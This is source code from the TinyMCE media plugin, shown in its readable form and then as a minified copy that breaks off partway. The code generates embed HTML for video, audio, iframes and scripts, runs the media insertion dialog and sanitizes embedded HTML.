        return pattern.regex.test(url);
      });
      if (pattern.length > 0) {
        return global$2.extend({}, pattern[0], { url: getUrl(pattern[0], url) });
      } else {
        return null;
      }
    };

    var getIframeHtml = function (data) {
      var allowFullscreen = data.allowFullscreen ? ' allowFullscreen="1"' : '';
      return '<iframe src="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '"' + allowFullscreen + '></iframe>';
    };
    var getFlashHtml = function (data) {
      var html = '<object data="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '" type="application/x-shockwave-flash">';
      if (data.poster) {
        html += '<img src="' + data.poster + '" width="' + data.width + '" height="' + data.height + '" />';
      }
      html += '</object>';
      return html;
    };
    var getAudioHtml = function (data, audioTemplateCallback) {
      if (audioTemplateCallback) {
        return audioTemplateCallback(data);
      } else {
        return '<audio controls="controls" src="' + data.source1 + '">' + (data.source2 ? '\n<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</audio>';
      }
    };
    var getVideoHtml = function (data, videoTemplateCallback) {
      if (videoTemplateCallback) {
        return videoTemplateCallback(data);
      } else {
        return '<video width="' + data.width + '" height="' + data.height + '"' + (data.poster ? ' poster="' + data.poster + '"' : '') + ' controls="controls">\n' + '<source src="' + data.source1 + '"' + (data.source1mime ? ' type="' + data.source1mime + '"' : '') + ' />\n' + (data.source2 ? '<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') + '</video>';
      }
    };
    var getScriptHtml = function (data) {
      return '<script src="' + data.source1 + '"></script>';
    };
    var dataToHtml = function (editor, dataIn) {
      var data = global$2.extend({}, dataIn);
      if (!data.source1) {
        global$2.extend(data, HtmlToData.htmlToData(Settings.getScripts(editor), data.embed));
        if (!data.source1) {
          return '';
        }
      }
      if (!data.source2) {
        data.source2 = '';
      }
      if (!data.poster) {
        data.poster = '';
      }
      data.source1 = editor.convertURL(data.source1, 'source');
      data.source2 = editor.convertURL(data.source2, 'source');
      data.source1mime = Mime.guess(data.source1);
      data.source2mime = Mime.guess(data.source2);
      data.poster = editor.convertURL(data.poster, 'poster');
      var pattern = matchPattern(data.source1);
      if (pattern) {
        data.source1 = pattern.url;
        data.type = pattern.type;
        data.allowFullscreen = pattern.allowFullscreen;
        data.width = data.width || pattern.w;
        data.height = data.height || pattern.h;
      }
      if (data.embed) {
        return UpdateHtml.updateHtml(data.embed, data, true);
      } else {
        var videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), data.source1);
        if (videoScript) {
          data.type = 'script';
          data.width = videoScript.width;
          data.height = videoScript.height;
        }
        var audioTemplateCallback = Settings.getAudioTemplateCallback(editor);
        var videoTemplateCallback = Settings.getVideoTemplateCallback(editor);
        data.width = data.width || 300;
        data.height = data.height || 150;
        global$2.each(data, function (value, key) {
          data[key] = editor.dom.encode(value);
        });
        if (data.type === 'iframe') {
          return getIframeHtml(data);
        } else if (data.source1mime === 'application/x-shockwave-flash') {
          return getFlashHtml(data);
        } else if (data.source1mime.indexOf('audio') !== -1) {
          return getAudioHtml(data, audioTemplateCallback);
        } else if (data.type === 'script') {
          return getScriptHtml(data);
        } else {
          return getVideoHtml(data, videoTemplateCallback);
        }
      }
    };
    var DataToHtml = { dataToHtml: dataToHtml };

    var cache = {};
    var embedPromise = function (data, dataToHtml, handler) {
      return new global$5(function (res, rej) {
        var wrappedResolve = function (response) {
          if (response.html) {
            cache[data.source1] = response;
          }
          return res({
            url: data.source1,
            html: response.html ? response.html : dataToHtml(data)
          });
        };
        if (cache[data.source1]) {
          wrappedResolve(cache[data.source1]);
        } else {
          handler({ url: data.source1 }, wrappedResolve, rej);
        }
      });
    };
    var defaultPromise = function (data, dataToHtml) {
      return new global$5(function (res) {
        res({
          html: dataToHtml(data),
          url: data.source1
        });
      });
    };
    var loadedData = function (editor) {
      return function (data) {
        return DataToHtml.dataToHtml(editor, data);
      };
    };
    var getEmbedHtml = function (editor, data) {
      var embedHandler = Settings.getUrlResolver(editor);
      return embedHandler ? embedPromise(data, loadedData(editor), embedHandler) : defaultPromise(data, loadedData(editor));
    };
    var isCached = function (url) {
      return cache.hasOwnProperty(url);
    };
    var Service = {
      getEmbedHtml: getEmbedHtml,
      isCached: isCached
    };

    var trimPx$1 = function (value) {
      return value.replace(/px$/, '');
    };
    var addPx$1 = function (value) {
      return /^[0-9.]+$/.test(value) ? value + 'px' : value;
    };
    var getSize = function (name) {
      return function (elm) {
        return elm ? trimPx$1(elm.style[name]) : '';
      };
    };
    var setSize = function (name) {
      return function (elm, value) {
        if (elm) {
          elm.style[name] = addPx$1(value);
        }
      };
    };
    var Size = {
      getMaxWidth: getSize('maxWidth'),
      getMaxHeight: getSize('maxHeight'),
      setMaxWidth: setSize('maxWidth'),
      setMaxHeight: setSize('maxHeight')
    };

    var doSyncSize = function (widthCtrl, heightCtrl) {
      widthCtrl.state.set('oldVal', widthCtrl.value());
      heightCtrl.state.set('oldVal', heightCtrl.value());
    };
    var doSizeControls = function (win, f) {
      var widthCtrl = win.find('#width')[0];
      var heightCtrl = win.find('#height')[0];
      var constrained = win.find('#constrain')[0];
      if (widthCtrl && heightCtrl && constrained) {
        f(widthCtrl, heightCtrl, constrained.checked());
      }
    };
    var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
      var oldWidth = widthCtrl.state.get('oldVal');
      var oldHeight = heightCtrl.state.get('oldVal');
      var newWidth = widthCtrl.value();
      var newHeight = heightCtrl.value();
      if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
        if (newWidth !== oldWidth) {
          newHeight = Math.round(newWidth / oldWidth * newHeight);
          if (!isNaN(newHeight)) {
            heightCtrl.value(newHeight);
          }
        } else {
          newWidth = Math.round(newHeight / oldHeight * newWidth);
          if (!isNaN(newWidth)) {
            widthCtrl.value(newWidth);
          }
        }
      }
      doSyncSize(widthCtrl, heightCtrl);
    };
    var syncSize = function (win) {
      doSizeControls(win, doSyncSize);
    };
    var updateSize = function (win) {
      doSizeControls(win, doUpdateSize);
    };
    var createUi = function (onChange) {
      var recalcSize = function () {
        onChange(function (win) {
          updateSize(win);
        });
      };
      return {
        type: 'container',
        label: 'Dimensions',
        layout: 'flex',
        align: 'center',
        spacing: 5,
        items: [
          {
            name: 'width',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Width'
          },
          {
            type: 'label',
            text: 'x'
          },
          {
            name: 'height',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Height'
          },
          {
            name: 'constrain',
            type: 'checkbox',
            checked: true,
            text: 'Constrain proportions'
          }
        ]
      };
    };
    var SizeManager = {
      createUi: createUi,
      syncSize: syncSize,
      updateSize: updateSize
    };

    var embedChange = global$1.ie && global$1.ie <= 8 ? 'onChange' : 'onInput';
    var handleError = function (editor) {
      return function (error) {
        var errorMessage = error && error.msg ? 'Media embed handler error: ' + error.msg : 'Media embed handler threw unknown error.';
        editor.notificationManager.open({
          type: 'error',
          text: errorMessage
        });
      };
    };
    var getData = function (editor) {
      var element = editor.selection.getNode();
      var dataEmbed = element.getAttribute('data-ephox-embed-iri');
      if (dataEmbed) {
        return {
          'source1': dataEmbed,
          'data-ephox-embed-iri': dataEmbed,
          'width': Size.getMaxWidth(element),
          'height': Size.getMaxHeight(element)
        };
      }
      return element.getAttribute('data-mce-object') ? HtmlToData.htmlToData(Settings.getScripts(editor), editor.serializer.serialize(element, { selection: true })) : {};
    };
    var getSource = function (editor) {
      var elm = editor.selection.getNode();
      if (elm.getAttribute('data-mce-object') || elm.getAttribute('data-ephox-embed-iri')) {
        return editor.selection.getContent();
      }
    };
    var addEmbedHtml = function (win, editor) {
      return function (response) {
        var html = response.html;
        var embed = win.find('#embed')[0];
        var data = global$2.extend(HtmlToData.htmlToData(Settings.getScripts(editor), html), { source1: response.url });
        win.fromJSON(data);
        if (embed) {
          embed.value(html);
          SizeManager.updateSize(win);
        }
      };
    };
    var selectPlaceholder = function (editor, beforeObjects) {
      var i;
      var y;
      var afterObjects = editor.dom.select('img[data-mce-object]');
      for (i = 0; i < beforeObjects.length; i++) {
        for (y = afterObjects.length - 1; y >= 0; y--) {
          if (beforeObjects[i] === afterObjects[y]) {
            afterObjects.splice(y, 1);
          }
        }
      }
      editor.selection.select(afterObjects[0]);
    };
    var handleInsert = function (editor, html) {
      var beforeObjects = editor.dom.select('img[data-mce-object]');
      editor.insertContent(html);
      selectPlaceholder(editor, beforeObjects);
      editor.nodeChanged();
    };
    var submitForm = function (win, editor) {
      var data = win.toJSON();
      data.embed = UpdateHtml.updateHtml(data.embed, data);
      if (data.embed && Service.isCached(data.source1)) {
        handleInsert(editor, data.embed);
      } else {
        Service.getEmbedHtml(editor, data).then(function (response) {
          handleInsert(editor, response.html);
        }).catch(handleError(editor));
      }
    };
    var populateMeta = function (win, meta) {
      global$2.each(meta, function (value, key) {
        win.find('#' + key).value(value);
      });
    };
    var showDialog = function (editor) {
      var win;
      var data;
      var generalFormItems = [{
          name: 'source1',
          type: 'filepicker',
          filetype: 'media',
          size: 40,
          autofocus: true,
          label: 'Source',
          onpaste: function () {
            setTimeout(function () {
              Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
            }, 1);
          },
          onchange: function (e) {
            Service.getEmbedHtml(editor, win.toJSON()).then(addEmbedHtml(win, editor)).catch(handleError(editor));
            populateMeta(win, e.meta);
          },
          onbeforecall: function (e) {
            e.meta = win.toJSON();
          }
        }];
      var advancedFormItems = [];
      var reserialise = function (update) {
        update(win);
        data = win.toJSON();
        win.find('#embed').value(UpdateHtml.updateHtml(data.embed, data));
      };
      if (Settings.hasAltSource(editor)) {
        advancedFormItems.push({
          name: 'source2',
          type: 'filepicker',
          filetype: 'media',
          size: 40,
          label: 'Alternative source'
        });
      }
      if (Settings.hasPoster(editor)) {
        advancedFormItems.push({
          name: 'poster',
          type: 'filepicker',
          filetype: 'image',
          size: 40,
          label: 'Poster'
        });
      }
      if (Settings.hasDimensions(editor)) {
        var control = SizeManager.createUi(reserialise);
        generalFormItems.push(control);
      }
      data = getData(editor);
      var embedTextBox = {
        id: 'mcemediasource',
        type: 'textbox',
        flex: 1,
        name: 'embed',
        value: getSource(editor),
        multiline: true,
        rows: 5,
        label: 'Source'
      };
      var updateValueOnChange = function () {
        data = global$2.extend({}, HtmlToData.htmlToData(Settings.getScripts(editor), this.value()));
        this.parent().parent().fromJSON(data);
      };
      embedTextBox[embedChange] = updateValueOnChange;
      var body = [
        {
          title: 'General',
          type: 'form',
          items: generalFormItems
        },
        {
          title: 'Embed',
          type: 'container',
          layout: 'flex',
          direction: 'column',
          align: 'stretch',
          padding: 10,
          spacing: 10,
          items: [
            {
              type: 'label',
              text: 'Paste your embed code below:',
              forId: 'mcemediasource'
            },
            embedTextBox
          ]
        }
      ];
      if (advancedFormItems.length > 0) {
        body.push({
          title: 'Advanced',
          type: 'form',
          items: advancedFormItems
        });
      }
      win = editor.windowManager.open({
        title: 'Insert/edit media',
        data: data,
        bodyType: 'tabpanel',
        body: body,
        onSubmit: function () {
          SizeManager.updateSize(win);
          submitForm(win, editor);
        }
      });
      SizeManager.syncSize(win);
    };
    var Dialog = { showDialog: showDialog };

    var get$1 = function (editor) {
      var showDialog = function () {
        Dialog.showDialog(editor);
      };
      return { showDialog: showDialog };
    };
    var Api = { get: get$1 };

    var register = function (editor) {
      var showDialog = function () {
        Dialog.showDialog(editor);
      };
      editor.addCommand('mceMedia', showDialog);
    };
    var Commands = { register: register };

    var global$8 = tinymce.util.Tools.resolve('tinymce.html.Node');

    var sanitize = function (editor, html) {
      if (Settings.shouldFilterHtml(editor) === false) {
        return html;
      }
      var writer = global$7();
      var blocked;
      global$4({
        validate: false,
        allow_conditional_comments: false,
        special: 'script,noscript',
        comment: function (text) {
          writer.comment(text);
        },
        cdata: function (text) {
          writer.cdata(text);
        },
        text: function (text, raw) {
          writer.text(text, raw);
        },
        start: function (name, attrs, empty) {
          blocked = true;
          if (name === 'script' || name === 'noscript' || name === 'svg') {
            return;
          }
          for (var i = attrs.length - 1; i >= 0; i--) {
            var attrName = attrs[i].name;
            if (attrName.indexOf('on') === 0) {
              delete attrs.map[attrName];
              attrs.splice(i, 1);
            }
            if (attrName === 'style') {
              attrs[i].value = editor.dom.serializeStyle(editor.dom.parseStyle(attrs[i].value), name);
            }
          }
          writer.start(name, attrs, empty);
          blocked = false;
        },
        end: function (name) {
          if (blocked) {
            return;
          }
          writer.end(name);
        }
      }, global$6({})).parse(html);
      return writer.getContent();
    };
    var Sanitize = { sanitize: sanitize };

    var createPlaceholderNode = function (editor, node) {
      var placeHolder;
      var name = node.name;
      placeHolder = new global$8('img', 1);
      placeHolder.shortEnded = true;
      retainAttributesAndInnerHtml(editor, node, placeHolder);
      placeHolder.attr({
        'width': node.attr('width') || '300',
        'height': node.attr('height') || (name === 'audio' ? '30' : '150'),
        'style': node.attr('style'),
        'src': global$1.transparentSrc,
        'data-mce-object': name,
        'class': 'mce-object mce-object-' + name
      });
      return placeHolder;
    };
    var createPreviewIframeNode = function (editor, node) {
      var previewWrapper;
      var previewNode;
      var shimNode;
      var name = node.name;
      previewWrapper = new global$8('span', 1);
      previewWrapper.attr({
        'contentEditable': 'false',
        'style': node.attr('style'),
        'data-mce-object': name,
        'class': 'mce-preview-object mce-object-' + name
      });
      retainAttributesAndInnerHtml(editor, node, previewWrapper);
      previewNode = new global$8(name, 1);
      previewNode.attr({
        src: node.attr('src'),
        allowfullscreen: node.attr('allowfullscreen'),
        style: node.attr('style'),
        class: node.attr('class'),
        width: node.attr('width'),
        height: node.attr('height'),
        frameborder: '0'
      });
      shimNode = new global$8('span', 1);
      shimNode.attr('class', 'mce-shim');
      previewWrapper.append(previewNode);
      previewWrapper.append(shimNode);
      return previewWrapper;
    };
    var retainAttributesAndInnerHtml = function (editor, sourceNode, targetNode) {
      var attrName;
      var attrValue;
      var attribs;
      var ai;
      var innerHtml;
      attribs = sourceNode.attributes;
      ai = attribs.length;
      while (ai--) {
        attrName = attribs[ai].name;
        attrValue = attribs[ai].value;
        if (attrName !== 'width' && attrName !== 'height' && attrName !== 'style') {
          if (attrName === 'data' || attrName === 'src') {
            attrValue = editor.convertURL(attrValue, attrName);
          }
          targetNode.attr('data-mce-p-' + attrName, attrValue);
        }
      }
      innerHtml = sourceNode.firstChild && sourceNode.firstChild.value;
      if (innerHtml) {
        targetNode.attr('data-mce-html', escape(Sanitize.sanitize(editor, innerHtml)));
        targetNode.firstChild = null;
      }
    };
    var isWithinEphoxEmbed = function (node) {
      while (node = node.parent) {
        if (node.attr('data-ephox-embed-iri')) {
          return true;
        }
      }
      return false;
    };
    var placeHolderConverter = function (editor) {
      return function (nodes) {
        var i = nodes.length;
        var node;
        var videoScript;
        while (i--) {
          node = nodes[i];
          if (!node.parent) {
            continue;
          }
          if (node.parent.attr('data-mce-object')) {
            continue;
          }
          if (node.name === 'script') {
            videoScript = VideoScript.getVideoScriptMatch(Settings.getScripts(editor), node.attr('src'));
            if (!videoScript) {
              continue;
            }
          }
          if (videoScript) {
            if (videoScript.width) {
              node.attr('width', videoScript.width.toString());
            }
            if (videoScript.height) {
              node.attr('height', videoScript.height.toString());
            }
          }
          if (node.name === 'iframe' && Settings.hasLiveEmbeds(editor) && global$1.ceFalse) {
            if (!isWithinEphoxEmbed(node)) {
              node.replace(createPreviewIframeNode(editor, node));
            }
          } else {
            if (!isWithinEphoxEmbed(node)) {
              node.replace(createPlaceholderNode(editor, node));
            }
          }
        }
      };
    };
    var Nodes = {
      createPreviewIframeNode: createPreviewIframeNode,
      createPlaceholderNode: createPlaceholderNode,
      placeHolderConverter: placeHolderConverter
    };

    var setup = function (editor) {
      editor.on('preInit', function () {
        var specialElements = editor.schema.getSpecialElements();
        global$2.each('video audio iframe object'.split(' '), function (name) {
          specialElements[name] = new RegExp('</' + name + '[^>]*>', 'gi');
        });
        var boolAttrs = editor.schema.getBoolAttrs();
        global$2.each('webkitallowfullscreen mozallowfullscreen allowfullscreen'.split(' '), function (name) {
          boolAttrs[name] = {};
        });
        editor.parser.addNodeFilter('iframe,video,audio,object,embed,script', Nodes.placeHolderConverter(editor));
        editor.serializer.addAttributeFilter('data-mce-object', function (nodes, name) {
          var i = nodes.length;
          var node;
          var realElm;
          var ai;
          var attribs;
          var innerHtml;
          var innerNode;
          var realElmName;
          var className;
          while (i--) {
            node = nodes[i];
            if (!node.parent) {
              continue;
            }
            realElmName = node.attr(name);
            realElm = new global$8(realElmName, 1);
            if (realElmName !== 'audio' && realElmName !== 'script') {
              className = node.attr('class');
              if (className && className.indexOf('mce-preview-object') !== -1) {
                realElm.attr({
                  width: node.firstChild.attr('width'),
                  height: node.firstChild.attr('height')
                });
              } else {
                realElm.attr({
                  width: node.attr('width'),
                  height: node.attr('height')
                });
              }
            }
            realElm.attr({ style: node.attr('style') });
            attribs = node.attributes;
            ai = attribs.length;
            while (ai--) {
              var attrName = attribs[ai].name;
              if (attrName.indexOf('data-mce-p-') === 0) {
                realElm.attr(attrName.substr(11), attribs[ai].value);
              }
            }
            if (realElmName === 'script') {
              realElm.attr('type', 'text/javascript');
            }
            innerHtml = node.attr('data-mce-html');
            if (innerHtml) {
              innerNode = new global$8('#text', 3);
              innerNode.raw = true;
              innerNode.value = Sanitize.sanitize(editor, unescape(innerHtml));
              realElm.append(innerNode);
            }
            node.replace(realElm);
          }
        });
      });
      editor.on('setContent', function () {
        editor.$('span.mce-preview-object').each(function (index, elm) {
          var $elm = editor.$(elm);
          if ($elm.find('span.mce-shim', elm).length === 0) {
            $elm.append('<span class="mce-shim"></span>');
          }
        });
      });
    };
    var FilterContent = { setup: setup };

    var setup$1 = function (editor) {
      editor.on('ResolveName', function (e) {
        var name;
        if (e.target.nodeType === 1 && (name = e.target.getAttribute('data-mce-object'))) {
          e.name = name;
        }
      });
    };
    var ResolveName = { setup: setup$1 };

    var setup$2 = function (editor) {
      editor.on('click keyup', function () {
        var selectedNode = editor.selection.getNode();
        if (selectedNode && editor.dom.hasClass(selectedNode, 'mce-preview-object')) {
          if (editor.dom.getAttrib(selectedNode, 'data-mce-selected')) {
            selectedNode.setAttribute('data-mce-selected', '2');
          }
        }
      });
      editor.on('ObjectSelected', function (e) {
        var objectType = e.target.getAttribute('data-mce-object');
        if (objectType === 'audio' || objectType === 'script') {
          e.preventDefault();
        }
      });
      editor.on('objectResized', function (e) {
        var target = e.target;
        var html;
        if (target.getAttribute('data-mce-object')) {
          html = target.getAttribute('data-mce-html');
          if (html) {
            html = unescape(html);
            target.setAttribute('data-mce-html', escape(UpdateHtml.updateHtml(html, {
              width: e.width,
              height: e.height
            })));
          }
        }
      });
    };
    var Selection = { setup: setup$2 };

    var register$1 = function (editor) {
      editor.addButton('media', {
        tooltip: 'Insert/edit media',
        cmd: 'mceMedia',
        stateSelector: [
          'img[data-mce-object]',
          'span[data-mce-object]',
          'div[data-ephox-embed-iri]'
        ]
      });
      editor.addMenuItem('media', {
        icon: 'media',
        text: 'Media',
        cmd: 'mceMedia',
        context: 'insert',
        prependToContext: true
      });
    };
    var Buttons = { register: register$1 };

    global.add('media', function (editor) {
      Commands.register(editor);
      Buttons.register(editor);
      ResolveName.setup(editor);
      FilterContent.setup(editor);
      Selection.setup(editor);
      return Api.get(editor);
    });
    function Plugin () {
    }

    return Plugin;

}());
})();
plugin.min.js000064400000040300151024273070007160 0ustar00!function(){"use strict";var e,t,r,n,i=tinymce.util.Tools.resolve("tinymce.PluginManager"),o=tinymce.util.Tools.resolve("tinymce.Env"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),w=function(e){return e.getParam("media_scripts")},b=function(e){return e.getParam("audio_template_callback")},y=function(e){return e.getParam("video_template_callback")},a=function(e){return e.getParam("media_live_embeds",!0)},u=function(e){return e.getParam("media_filter_html",!0)},s=function(e){return e.getParam("media_url_resolver")},m=function(e){return e.getParam("media_alt_source",!0)},d=function(e){return e.getParam("media_poster",!0)},h=function(e){return e.getParam("media_dimensions",!0)},f=function(e){var t=e,r=function(){return t};return{get:r,set:function(e){t=e},clone:function(){return f(r())}}},c=function(){},l=function(e){return function(){return e}},p=l(!1),g=l(!0),x=function(){return O},O=(e=function(e){return e.isNone()},n={fold:function(e,t){return e()},is:p,isSome:p,isNone:g,getOr:r=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:l(null),getOrUndefined:l(undefined),or:r,orThunk:t,map:x,each:c,bind:x,exists:p,forall:g,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:l("none()")},Object.freeze&&Object.freeze(n),n),j=function(r){var e=l(r),t=function(){return i},n=function(e){return e(r)},i={fold:function(e,t){return t(r)},is:function(e){return r===e},isSome:g,isNone:p,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return j(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?i:O},toArray:function(){return[r]},toString:function(){return"some("+r+")"},equals:function(e){return e.is(r)},equals_:function(e,t){return e.fold(p,function(e){return t(r,e)})}};return i},_=x,S=function(e){return null===e||e===undefined?O:j(e)},k=Object.hasOwnProperty,N=function(e,t){return M(e,t)?S(e[t]):_()},M=function(e,t){return k.call(e,t)},T=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),z=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),A=function(e,t){if(e)for(var r=0;r<e.length;r++)if(-1!==t.indexOf(e[r].filter))return e[r]},C=T.DOM,$=function(e){return e.replace(/px$/,"")},P=function(a,e){var c=f(!1),u={};return z({validate:!1,allow_conditional_comments:!0,special:"script,noscript",start:function(e,t){if(c.get());else if(M(t.map,"data-ephox-embed-iri"))c.set(!0),i=(n=t).map.style,o=i?C.parseStyle(i):{},u={type:"ephox-embed-iri",source1:n.map["data-ephox-embed-iri"],source2:"",poster:"",width:N(o,"max-width").map($).getOr(""),height:N(o,"max-height").map($).getOr("")};else{if(u.source1||"param"!==e||(u.source1=t.map.movie),"iframe"!==e&&"object"!==e&&"embed"!==e&&"video"!==e&&"audio"!==e||(u.type||(u.type=e),u=v.extend(t.map,u)),"script"===e){var r=A(a,t.map.src);if(!r)return;u={type:"script",source1:t.map.src,width:r.width,height:r.height}}"source"===e&&(u.source1?u.source2||(u.source2=t.map.src):u.source1=t.map.src),"img"!==e||u.poster||(u.poster=t.map.src)}var n,i,o}}).parse(e),u.source1=u.source1||u.src||u.data,u.source2=u.source2||"",u.poster=u.poster||"",u},F=tinymce.util.Tools.resolve("tinymce.util.Promise"),D=function(e){var t={mp3:"audio/mpeg",wav:"audio/wav",mp4:"video/mp4",webm:"video/webm",ogg:"video/ogg",swf:"application/x-shockwave-flash"}[e.toLowerCase().split(".").pop()];return t||""},L=tinymce.util.Tools.resolve("tinymce.html.Schema"),E=tinymce.util.Tools.resolve("tinymce.html.Writer"),J=T.DOM,R=function(e){return/^[0-9.]+$/.test(e)?e+"px":e},U=function(e,t){for(var r in t){var n=""+t[r];if(e.map[r])for(var i=e.length;i--;){var o=e[i];o.name===r&&(n?(e.map[r]=n,o.value=n):(delete e.map[r],e.splice(i,1)))}else n&&(e.push({name:r,value:n}),e.map[r]=n)}},W=function(e,c,u){var s,l=E(),m=f(!1),d=0;return z({validate:!1,allow_conditional_comments:!0,special:"script,noscript",comment:function(e){l.comment(e)},cdata:function(e){l.cdata(e)},text:function(e,t){l.text(e,t)},start:function(e,t,r){if(m.get());else if(M(t.map,"data-ephox-embed-iri"))m.set(!0),n=c,o=(i=t).map.style,(a=o?J.parseStyle(o):{})["max-width"]=R(n.width),a["max-height"]=R(n.height),U(i,{style:J.serializeStyle(a)});else{switch(e){case"video":case"object":case"embed":case"img":case"iframe":c.height!==undefined&&c.width!==undefined&&U(t,{width:c.width,height:c.height})}if(u)switch(e){case"video":U(t,{poster:c.poster,src:""}),c.source2&&U(t,{src:""});break;case"iframe":U(t,{src:c.source1});break;case"source":if(++d<=2&&(U(t,{src:c["source"+d],type:c["source"+d+"mime"]}),!c["source"+d]))return;break;case"img":if(!c.poster)return;s=!0}}var n,i,o,a;l.start(e,t,r)},end:function(e){if(!m.get()){if("video"===e&&u)for(var t=1;t<=2;t++)if(c["source"+t]){var r=[];r.map={},d<t&&(U(r,{src:c["source"+t],type:c["source"+t+"mime"]}),l.start("source",r,!0))}if(c.poster&&"object"===e&&u&&!s){var n=[];n.map={},U(n,{src:c.poster,width:c.width,height:c.height}),l.start("img",n,!0)}}l.end(e)}},L({})).parse(e),l.getContent()},H=[{regex:/youtu\.be\/([\w\-_\?&=.]+)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$2?$4",allowFullscreen:!0},{regex:/youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,type:"iframe",w:560,h:314,url:"//www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc",allowFullscreen:!0},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:"iframe",w:425,h:350,url:"//player.vimeo.com/video/$2?title=0&amp;byline=0",allowFullscreen:!0},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'//maps.google.com/maps/ms?msid=$2&output=embed"',allowFullscreen:!1},{regex:/dailymotion\.com\/video\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0},{regex:/dai\.ly\/([^_]+)/,type:"iframe",w:480,h:270,url:"//www.dailymotion.com/embed/video/$1",allowFullscreen:!0}],I=function(r,e){var n=v.extend({},e);if(!n.source1&&(v.extend(n,P(w(r),n.embed)),!n.source1))return"";n.source2||(n.source2=""),n.poster||(n.poster=""),n.source1=r.convertURL(n.source1,"source"),n.source2=r.convertURL(n.source2,"source"),n.source1mime=D(n.source1),n.source2mime=D(n.source2),n.poster=r.convertURL(n.poster,"poster");var t,i,o=(t=n.source1,0<(i=H.filter(function(e){return e.regex.test(t)})).length?v.extend({},i[0],{url:function(e,t){for(var r=e.regex.exec(t),n=e.url,i=function(e){n=n.replace("$"+e,function(){return r[e]?r[e]:""})},o=0;o<r.length;o++)i(o);return n.replace(/\?$/,"")}(i[0],t)}):null);if(o&&(n.source1=o.url,n.type=o.type,n.allowFullscreen=o.allowFullscreen,n.width=n.width||o.w,n.height=n.height||o.h),n.embed)return W(n.embed,n,!0);var a=A(w(r),n.source1);a&&(n.type="script",n.width=a.width,n.height=a.height);var c,u,s,l,m,d,h,f,p=b(r),g=y(r);return n.width=n.width||300,n.height=n.height||150,v.each(n,function(e,t){n[t]=r.dom.encode(e)}),"iframe"===n.type?(f=(h=n).allowFullscreen?' allowFullscreen="1"':"",'<iframe src="'+h.source1+'" width="'+h.width+'" height="'+h.height+'"'+f+"></iframe>"):"application/x-shockwave-flash"===n.source1mime?(d='<object data="'+(m=n).source1+'" width="'+m.width+'" height="'+m.height+'" type="application/x-shockwave-flash">',m.poster&&(d+='<img src="'+m.poster+'" width="'+m.width+'" height="'+m.height+'" />'),d+="</object>"):-1!==n.source1mime.indexOf("audio")?(s=n,(l=p)?l(s):'<audio controls="controls" src="'+s.source1+'">'+(s.source2?'\n<source src="'+s.source2+'"'+(s.source2mime?' type="'+s.source2mime+'"':"")+" />\n":"")+"</audio>"):"script"===n.type?'<script src="'+n.source1+'"><\/script>':(c=n,(u=g)?u(c):'<video width="'+c.width+'" height="'+c.height+'"'+(c.poster?' poster="'+c.poster+'"':"")+' controls="controls">\n<source src="'+c.source1+'"'+(c.source1mime?' type="'+c.source1mime+'"':"")+" />\n"+(c.source2?'<source src="'+c.source2+'"'+(c.source2mime?' type="'+c.source2mime+'"':"")+" />\n":"")+"</video>")},q={},V=function(t){return function(e){return I(t,e)}},B=function(e,t){var r,n,i,o,a,c=s(e);return c?(i=t,o=V(e),a=c,new F(function(t,e){var r=function(e){return e.html&&(q[i.source1]=e),t({url:i.source1,html:e.html?e.html:o(i)})};q[i.source1]?r(q[i.source1]):a({url:i.source1},r,e)})):(r=t,n=V(e),new F(function(e){e({html:n(r),url:r.source1})}))},G=function(e){return q.hasOwnProperty(e)},K=function(t){return function(e){return e?e.style[t].replace(/px$/,""):""}},Q=function(n){return function(e,t){var r;e&&(e.style[n]=/^[0-9.]+$/.test(r=t)?r+"px":r)}},X={getMaxWidth:K("maxWidth"),getMaxHeight:K("maxHeight"),setMaxWidth:Q("maxWidth"),setMaxHeight:Q("maxHeight")},Y=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},Z=function(e,t){var r=e.find("#width")[0],n=e.find("#height")[0],i=e.find("#constrain")[0];r&&n&&i&&t(r,n,i.checked())},ee=function(e,t,r){var n=e.state.get("oldVal"),i=t.state.get("oldVal"),o=e.value(),a=t.value();r&&n&&i&&o&&a&&(o!==n?(a=Math.round(o/n*a),isNaN(a)||t.value(a)):(o=Math.round(a/i*o),isNaN(o)||e.value(o))),Y(e,t)},te=function(e){Z(e,ee)},re=function(e){var 